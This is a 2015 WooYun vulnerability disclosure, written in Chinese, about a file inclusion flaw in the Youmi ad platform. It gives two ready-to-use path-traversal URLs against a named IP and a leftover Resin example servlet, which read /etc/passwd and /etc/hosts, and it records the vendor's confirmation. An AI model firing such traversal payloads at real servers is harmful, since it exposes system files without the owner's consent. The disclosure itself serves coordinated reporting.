有米广告平台文件包含漏洞可获取服务器信息

漏洞概要

缺陷编号:WooYun-2015-098504

漏洞标题:有米广告平台文件包含漏洞可获取服务器信息

相关厂商:youmi.net

漏洞作者:几何黑店

提交时间:2015-02-27 14:41

公开时间:2015-04-13 16:58

漏洞类型:文件包含

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

Tags标签:

漏洞详情

披露状态:

2015-02-27: 细节已通知厂商并且等待厂商处理中
2015-02-27: 厂商已经确认,细节仅向厂商公开
2015-03-09: 细节向核心白帽子及相关领域专家公开
2015-03-19: 细节向普通白帽子公开
2015-03-29: 细节向实习白帽子公开
2015-04-13: 细节向公众公开

简要描述:

恭喜发财,红包拿来广州优蜜移动科技股份有限公司(简称优蜜移动)是全球领先的移动营销服务商,总部和研发中心设在广州,在北京、香港、江苏等地设立控股子公司,在上海、广州设立办事处。2010年4月创立以来,优蜜移动持续专注于移动互联网产品及服务,致力于让移动互联网融入人们的生活,为广大的开发者等内容提供商创造收益。旗下有米广告和有米游戏两大平台,经营业务全面覆盖了移动广告、游戏联运、游戏发行等移动营销关键链条,具备强大的移动渠道资源优势。

详细说明:

主站IPhttp://118.26.238.109:10068/resin-doc/examples/jndi-appconfig/test?inputFile=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

漏洞证明:

http://118.26.238.109:10068/resin-doc/examples/jndi-appconfig/test?inputFile=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fhosts

修复方案:

你懂的

漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-02-2716:09

厂商回复:

感谢帮我们发现了这个漏洞,我们以后会注意程序里的示例代码和测试代码的了。

最新状态:

暂无

评价